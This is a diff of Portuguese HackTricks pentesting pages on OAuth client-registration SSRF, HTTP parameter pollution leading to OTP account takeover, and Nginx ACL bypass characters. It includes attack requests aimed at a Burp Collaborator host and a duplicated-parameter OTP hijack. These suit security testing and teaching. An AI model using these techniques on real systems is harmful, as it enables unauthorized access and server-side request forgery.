Uma das URLs ocultas que você pode perder é o **ponto de registro de cliente dinâmico**. Para autenticar usuários com sucesso, os servidores OAuth precisam conhecer detalhes sobre a aplicação cliente, como "client\_name", "client\_secret", "redirect\_uris", entre outros. Esses detalhes podem ser fornecidos via configuração local, mas os servidores de autorização OAuth também podem ter um **ponto de registro especial**. Este ponto normalmente é mapeado para "/register" e aceita solicitações POST com o seguinte formato:
|
||||
```json
|
||||
POST /connect/register HTTP/1.1
|
||||
Content-Type: application/json
|
||||
|
|
@ -204,47 +216,47 @@ Host: server.example.com
|
|||
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...
|
||||
|
||||
{
|
||||
"application_type": "web",
|
||||
"redirect_uris": ["https://client.example.org/callback"],
|
||||
"client_name": "My Example",
|
||||
"logo_uri": "https://client.example.org/logo.png",
|
||||
"subject_type": "pairwise",
|
||||
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
|
||||
"token_endpoint_auth_method": "client_secret_basic",
|
||||
"jwks_uri": "https://client.example.org/public_keys.jwks",
|
||||
"contacts": ["ve7jtb@example.org"],
|
||||
"request_uris": ["https://client.example.org/rf.txt"]
|
||||
"application_type": "web",
|
||||
"redirect_uris": ["https://client.example.org/callback"],
|
||||
"client_name": "My Example",
|
||||
"logo_uri": "https://client.example.org/logo.png",
|
||||
"subject_type": "pairwise",
|
||||
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
|
||||
"token_endpoint_auth_method": "client_secret_basic",
|
||||
"jwks_uri": "https://client.example.org/public_keys.jwks",
|
||||
"contacts": ["ve7jtb@example.org"],
|
||||
"request_uris": ["https://client.example.org/rf.txt"]
|
||||
}
|
||||
```
|
||||
Existem duas especificações que definem parâmetros nesta solicitação: [RFC7591](https://tools.ietf.org/html/rfc7591) para OAuth e [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1\_0.html#rfc.section.3.1).
|
||||
Existem duas especificações que definem parâmetros nesta solicitação: [RFC7591](https://tools.ietf.org/html/rfc7591) para OAuth e [Openid Connect Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html#rfc.section.3.1).
|
||||
|
||||
Como você pode ver aqui, vários desses valores são passados por referências de URL e parecem ser possíveis alvos para [Server Side Request Forgery](https://portswigger.net/web-security/ssrf). Ao mesmo tempo, a maioria dos servidores que testamos não resolvem essas URLs imediatamente quando recebem uma solicitação de registro. Em vez disso, eles apenas **salvam esses parâmetros e os usam posteriormente durante o fluxo de autorização do OAuth**. Em outras palavras, isso é mais como um SSRF de segunda ordem, o que torna a detecção de caixa preta mais difícil.
|
||||
Como você pode ver aqui, vários desses valores são passados por referências de URL e parecem alvos potenciais para [Server Side Request Forgery](https://portswigger.net/web-security/ssrf). Ao mesmo tempo, a maioria dos servidores que testamos não resolve essas URLs imediatamente ao receberem uma solicitação de registro. Em vez disso, eles apenas **salvam esses parâmetros e os usam mais tarde durante o fluxo de autorização OAuth**. Em outras palavras, isso é mais como um SSRF de segunda ordem, o que torna a detecção de caixa-preta mais difícil.
|
||||
|
||||
Os seguintes parâmetros são particularmente interessantes para ataques SSRF:
|
||||
|
||||
* **logo\_uri** - URL que referencia um **logotipo para o aplicativo do cliente**. **Depois de registrar um cliente**, você pode tentar chamar o ponto de extremidade de autorização do OAuth ("/authorize") usando seu novo "client\_id". Após o login, o servidor solicitará que você aprove a solicitação e **pode exibir a imagem do "logo\_uri"**. Se o **servidor buscar a imagem por si mesmo**, o SSRF deve ser acionado por esta etapa. Alternativamente, o servidor pode incluir o logotipo por meio de uma **tag "\<img>" do lado do cliente**. Embora isso não leve a SSRF, pode levar a **XSS se a URL não for escapada**.
|
||||
* **jwks\_uri** - URL para o conjunto de chaves JSON do cliente \[JWK\]. Este conjunto de chaves é necessário no servidor para validar solicitações assinadas feitas para o ponto de extremidade de token ao usar JWTs para autenticação do cliente \[RFC7523\]. Para testar o SSRF neste parâmetro, **registre um novo aplicativo cliente com um "jwks\_uri" malicioso**, execute o processo de autorização para **obter um código de autorização para qualquer usuário e, em seguida, busque o ponto de extremidade "/token"** com o seguinte corpo:
|
||||
* **logo\_uri** - URL que referencia um **logotipo para o aplicativo cliente**. **Após registrar um cliente**, você pode tentar chamar o ponto de extremidade de autorização OAuth ("/authorize") usando seu novo "client\_id". Após o login, o servidor pedirá para você aprovar a solicitação e **pode exibir a imagem do "logo\_uri"**. Se o **servidor buscar a imagem por si mesmo**, o SSRF deve ser acionado por esta etapa. Alternativamente, o servidor pode apenas incluir o logotipo por meio de uma **tag "\<img>" do lado do cliente**. Embora isso não leve a SSRF, pode levar a **XSS se a URL não for escapada**.
|
||||
* **jwks\_uri** - URL para o documento do conjunto de chaves da Web JSON \[JWK] do cliente. Este conjunto de chaves é necessário no servidor para validar solicitações assinadas feitas ao ponto de extremidade do token ao usar JWTs para autenticação do cliente \[RFC7523]. Para testar SSRF neste parâmetro, **registre um novo aplicativo cliente com um "jwks\_uri" malicioso**, realize o processo de autorização para **obter um código de autorização para qualquer usuário e, em seguida, busque o ponto de extremidade "/token"** com o seguinte corpo:
|
||||
|
||||
`POST /oauth/token HTTP/1.1`\
|
||||
`...`\
|
||||
\`\`\
|
||||
`grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...`
|
||||
`POST /oauth/token HTTP/1.1`\
|
||||
`...`\
|
||||
\`\`\
|
||||
`grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...`
|
||||
|
||||
Se vulnerável, o **servidor deve realizar uma solicitação HTTP de servidor para servidor para o "jwks\_uri" fornecido** porque precisa dessa chave para verificar a validade do parâmetro "client\_assertion" em sua solicitação. Isso provavelmente será apenas uma vulnerabilidade de SSRF cega, pois o servidor espera uma resposta JSON adequada.
|
||||
* **sector\_identifier\_uri** - Esta URL faz referência a um arquivo com um único **array JSON de valores redirect\_uri**. Se suportado, o servidor pode **buscar esse valor assim que você enviar a solicitação de registro dinâmico**. Se isso não for buscado imediatamente, tente executar a autorização para este cliente no servidor. Como ele precisa saber os redirect\_uris para concluir o fluxo de autorização, isso forçará o servidor a fazer uma solicitação para o seu setor\_identifier\_uri malicioso.
|
||||
* **request\_uris** - Uma matriz dos **request\_uris permitidos para este cliente**. O parâmetro "request\_uri" pode ser suportado no ponto de extremidade de autorização para fornecer uma URL que contém um JWT com as informações da solicitação (consulte [https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1\_0.html#rfc.section.6.2)).
|
||||
Se vulnerável, o **servidor deve realizar uma solicitação HTTP de servidor para servidor para o "jwks\_uri" fornecido** porque precisa dessa chave para verificar a validade do parâmetro "client\_assertion" em sua solicitação. Isso provavelmente será apenas uma **vulnerabilidade SSRF cega**, já que o servidor espera uma resposta JSON adequada.
|
||||
* **sector\_identifier\_uri** - Esta URL referencia um arquivo com um único **array JSON de valores redirect\_uri**. Se suportado, o servidor pode **buscar esse valor assim que você enviar a solicitação de registro dinâmico**. Se isso não for buscado imediatamente, tente realizar a autorização para este cliente no servidor. Como ele precisa saber os redirect\_uris para completar o fluxo de autorização, isso forçará o servidor a fazer uma solicitação ao seu sector\_identifier\_uri malicioso.
|
||||
* **request\_uris** - Um array dos **request\_uris permitidos para este cliente**. O parâmetro "request\_uri" pode ser suportado no ponto de extremidade de autorização para fornecer uma URL que contém um JWT com as informações da solicitação (veja [https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2](https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2)).
|
||||
|
||||
Mesmo que o registro dinâmico do cliente não esteja habilitado ou exija autenticação, podemos tentar o SSRF no ponto de extremidade de autorização simplesmente usando "request\_uri":\\
|
||||
Mesmo que o registro de cliente dinâmico não esteja habilitado, ou exija autenticação, podemos tentar realizar SSRF no ponto de extremidade de autorização simplesmente usando "request\_uri":\\
|
||||
|
||||
`GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt`
|
||||
`GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt`
|
||||
|
||||
Nota: não confunda este parâmetro com "redirect\_uri". O "redirect\_uri" é usado para redirecionamento após a autorização, enquanto **"request\_uri" é buscado pelo servidor no início do processo de autorização**.
|
||||
Nota: não confunda este parâmetro com "redirect\_uri". O "redirect\_uri" é usado para redirecionamento após autorização, enquanto **"request\_uri" é buscado pelo servidor no início do processo de autorização**.
|
||||
|
||||
Ao mesmo tempo, muitos servidores que vimos não permitem valores arbitrários de "request\_uri": eles permitem apenas URLs na lista branca que foram pré-registradas durante o processo de registro do cliente. É por isso que precisamos fornecer "request\_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" antecipadamente.
|
||||
Ao mesmo tempo, muitos servidores que vimos não permitem valores arbitrários de "request\_uri": eles apenas permitem URLs na lista de permissões que foram pré-registrados durante o processo de registro do cliente. É por isso que precisamos fornecer "request\_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" antecipadamente.
|
||||
|
||||
## Condições de corrida de provedores OAuth
|
||||
## Condições de Corrida em Provedores OAuth
|
||||
|
||||
Se a plataforma que você está testando for um provedor OAuth, [**leia isto para testar possíveis condições de corrida**](race-condition.md).
|
||||
Se a plataforma que você está testando é um provedor OAuth [**leia isto para testar possíveis Condições de Corrida**](race-condition.md).
|
||||
|
||||
## Referências
|
||||
|
||||
|
|
@ -253,12 +265,14 @@ Se a plataforma que você está testando for um provedor OAuth, [**leia isto par
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga** me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,81 +2,86 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Copiado de** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
|
||||
**Resumo:**
|
||||
**Resumo :**
|
||||
|
||||
Poluição de Parâmetros HTTP (HPP) significa poluir os parâmetros HTTP de um aplicativo da web para alcançar uma tarefa maliciosa específica. Refere-se à manipulação de como um site trata os parâmetros que recebe durante as solicitações HTTP. Isso altera o comportamento de um site de seu comportamento pretendido. A poluição de parâmetros HTTP é um tipo simples de ataque, mas é eficaz.
|
||||
Poluição de Parâmetros HTTP (HPP) significa poluir os parâmetros HTTP de uma aplicação web para alcançar uma tarefa maliciosa específica. Refere-se a manipular como um site trata parâmetros que recebe durante solicitações HTTP. Isso muda o comportamento do site do seu intencionado. Poluição de parâmetros HTTP é um tipo simples de ataque, mas eficaz.
|
||||
|
||||
Quando você polui qualquer parâmetro, o código é executado apenas no lado do servidor, o que é invisível para nós, mas podemos ver os resultados em nossa tela. O processo intermediário é uma caixa preta.
|
||||
Quando você polui qualquer parâmetro, o código é executado apenas no lado do servidor, que é invisível para nós, mas podemos ver os resultados na nossa tela. O processo intermediário é uma caixa preta.
|
||||
|
||||
Por exemplo, há uma URL https://www.anybank.com/send que possui três parâmetros:
|
||||
Por exemplo, existe uma URL https://www.anybank.com/send que tem três parâmetros :
|
||||
|
||||
1. from:
|
||||
2. to:
|
||||
3. amount:
|
||||
1. from :
|
||||
2. to :
|
||||
3. amount :
|
||||
|
||||
**URL: https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
|
||||
**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
|
||||
|
||||
Agora, esta é uma URL normal que irá realizar uma transação de 10000 de accountA para accountB, mas e se adicionarmos outro parâmetro igual **"from:"**
|
||||
Agora, esta é uma URL normal que procederá uma transação de 10000 de accountA para accountB, mas e se adicionarmos outro mesmo parâmetro **“from :”**
|
||||
|
||||
Então, a URL ficará assim **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
|
||||
Então a URL será como **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
|
||||
|
||||
Quando esta URL for processada, uma transação de 10000 será deduzida da contaC em vez da contaA. É assim que você manipula os parâmetros no ataque de **Poluição de Parâmetros HTTP**. Embora o escopo dessa vulnerabilidade não esteja limitado apenas à solicitação **GET**, você também pode realizar esse ataque em uma solicitação baseada em **POST**. Você pode tentar essa vulnerabilidade em muitos lugares, como alteração de senha, 2FA, comentários, upload de foto de perfil, em um parâmetro onde a chave da API é passada, OTP, etc.
|
||||
Quando esta URL proceder uma transação de 10000, será deduzido de accountC em vez de accountA. É assim que você manipula os parâmetros em um ataque de **Poluição de Parâmetros HTTP**. Embora o escopo desta vulnerabilidade não esteja limitado apenas a solicitações **GET**, você também pode realizar este ataque em uma solicitação baseada em **POST**. Você pode tentar esta vulnerabilidade em muitos lugares como mudança de senha, 2FA, comentários, upload de foto de perfil, em um parâmetro onde a chave da API é passada, OTP etc.
|
||||
|
||||
Quando você manipula qualquer parâmetro, sua manipulação depende de como cada tecnologia da web está analisando seus parâmetros. Você pode identificar tecnologias da web usando o "[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)". Abaixo está a captura de tela de algumas tecnologias e sua análise de parâmetros. Tecnologias e sua análise de parâmetros
|
||||
Quando você manipula qualquer parâmetro, sua manipulação depende de como cada tecnologia web está analisando seus parâmetros. Você pode identificar tecnologias web usando “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”. Abaixo está a captura de tela de algumas tecnologias e sua análise de parâmetros.Tecnologias e sua análise de parâmetros
|
||||
|
||||
|
||||
|
||||
|
||||
Gostaria de compartilhar uma das minhas descobertas de HPP, onde consegui assumir uma conta usando essa vulnerabilidade.
|
||||
Gostaria de compartilhar uma das minhas descobertas de HPP onde consegui assumir uma conta usando essa vulnerabilidade.
|
||||
|
||||
**Como encontrei essa vulnerabilidade?**
|
||||
**Como encontrei essa vulnerabilidade ?**
|
||||
|
||||
1. Fui para uma página de login desse programa, ele solicitou um OTP para fazer login
|
||||
1. Fui para uma página de login daquele programa, ele pediu um OTP para login
|
||||
|
||||
Enviar OTP
|
||||
|
||||
|
||||
|
||||
|
||||
2. Digitei um e-mail e cliquei em "Enviar senha única"
|
||||
2\. Digitei um email e cliquei em "Enviar Senha de Uso Único"
|
||||
|
||||
3. Interrompi a solicitação usando o burp suite e adicionei outro e-mail usando o mesmo parâmetro (criei dois e-mails para fins de teste) Solicitação do Burp
|
||||
3\. Interceptei a solicitação usando o burp suite e adicionei outro email usando o mesmo parâmetro (criei dois emails para fins de teste)Solicitação Burp
|
||||
|
||||
|
||||
|
||||
|
||||
4. Recebi um OTP de shrey....@gmail.com em minha outra conta radhika....@gmail.com OTP
|
||||
4\. Recebi um OTP de shrey……@gmail.com na minha outra conta radhika…..@gmail.com OTP
|
||||
|
||||
|
||||
|
||||
|
||||
5. Copiei o OTP e fui para shrey....@gmail.com na tela de login do programa, inseri este OTP e entrei na conta. Assumir Conta
|
||||
5\. Copiei o OTP e fui para shrey….@gmail.com na tela de login do programa, inseri este OTP e entrei na conta.Tomada de Conta
|
||||
|
||||
|
||||
|
||||
|
||||
Então, o que aconteceu aqui é que o aplicativo back-end pegou o valor do primeiro parâmetro "**email**" para gerar um OTP e usou o valor do segundo parâmetro "**email**" para fornecer o valor, o que significa que um OTP de shrey....@gmail.com foi enviado para radhika....@gmail.com.
|
||||
Então o que aconteceu aqui é que a aplicação back-end pegou o valor do primeiro parâmetro “**email**” para gerar um OTP e usou o valor do segundo parâmetro “**email**” para fornecer o valor, o que significa que um OTP de shrey….@gmail.com foi enviado para radhika….@gmail.com.
|
||||
|
||||
**NOTA :** Aqui em uma imagem no 4º passo onde recebi um OTP para radhika….@gmail.com, fiquei confuso porque a mensagem dizia Oi Radhika, então pensei que o parâmetro não estava poluído e o OTP era para radhika….@gmail.com, mas quando tentei o OTP em shrey….@gmail.com funcionou.
|
||||
|
||||
**NOTA:** Aqui, em uma imagem na 4ª etapa, onde recebi um OTP para radhika....@gmail.com, fiquei confuso porque a mensagem dizia Olá Radhika, então pensei que o parâmetro não estava poluído e o OTP era para radhika....@gmail.com, mas quando tentei o OTP em shrey....@gmail.com, funcionou.
|
||||
## Flask & PHP
|
||||
|
||||
Neste [**documento**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) você pode ver como uma consulta HTTP como `a=1&a=2` será interpretada de forma diferente pelo Flask e pelo PHP em execução em um servidor Apache HTTP. No Flask, o parâmetro será `1` (primeira ocorrência), enquanto no PHP será `2` (última ocorrência).
|
||||
Neste [**relato**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) você pode ver como uma consulta HTTP como `a=1&a=2` será interpretada de forma diferente pelo Flask e PHP rodando em um Apache HTTP Server. No Flask, o parâmetro será `1` (primeira ocorrência) enquanto no PHP será `2` (última ocorrência).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,18 +1,20 @@
|
|||
# Bypassando Proteções de Proxy / WAF
|
||||
# Bypass de Proteções Proxy / WAF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Bypassando Regras de ACL do Nginx <a href="#heading-bypassing-nginx-acl-rules-with-nodejs" id="heading-bypassing-nginx-acl-rules-with-nodejs"></a>
|
||||
## Bypass de Regras ACL do Nginx <a href="#heading-bypassing-nginx-acl-rules-with-nodejs" id="heading-bypassing-nginx-acl-rules-with-nodejs"></a>
|
||||
|
||||
Exemplo de restrição do Nginx:
|
||||
```plaintext
|
||||
|
|
@ -28,16 +30,16 @@ deny all;
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (713).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Como o Nginx inclui o caractere `\xa0` como parte do caminho, a regra ACL para a URI `/admin` não será acionada. Consequentemente, o Nginx encaminhará a mensagem HTTP para o backend;
|
||||
* Quando a URI `/admin\x0a` é recebida pelo servidor Node.js, o caractere `\xa0` será removido, permitindo a recuperação bem-sucedida do endpoint `/admin`.
|
||||
* Como o Nginx inclui o caractere `\xa0` como parte do caminho, a regra de ACL para o URI `/admin` não será acionada. Consequentemente, o Nginx encaminhará a mensagem HTTP para o backend;
|
||||
* Quando o URI `/admin\x0a` é recebido pelo servidor Node.js, o caractere `\xa0` será removido, permitindo a recuperação bem-sucedida do endpoint `/admin`.
|
||||
|
||||
| Versão do Nginx | **Caracteres de Bypass do Node.js** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
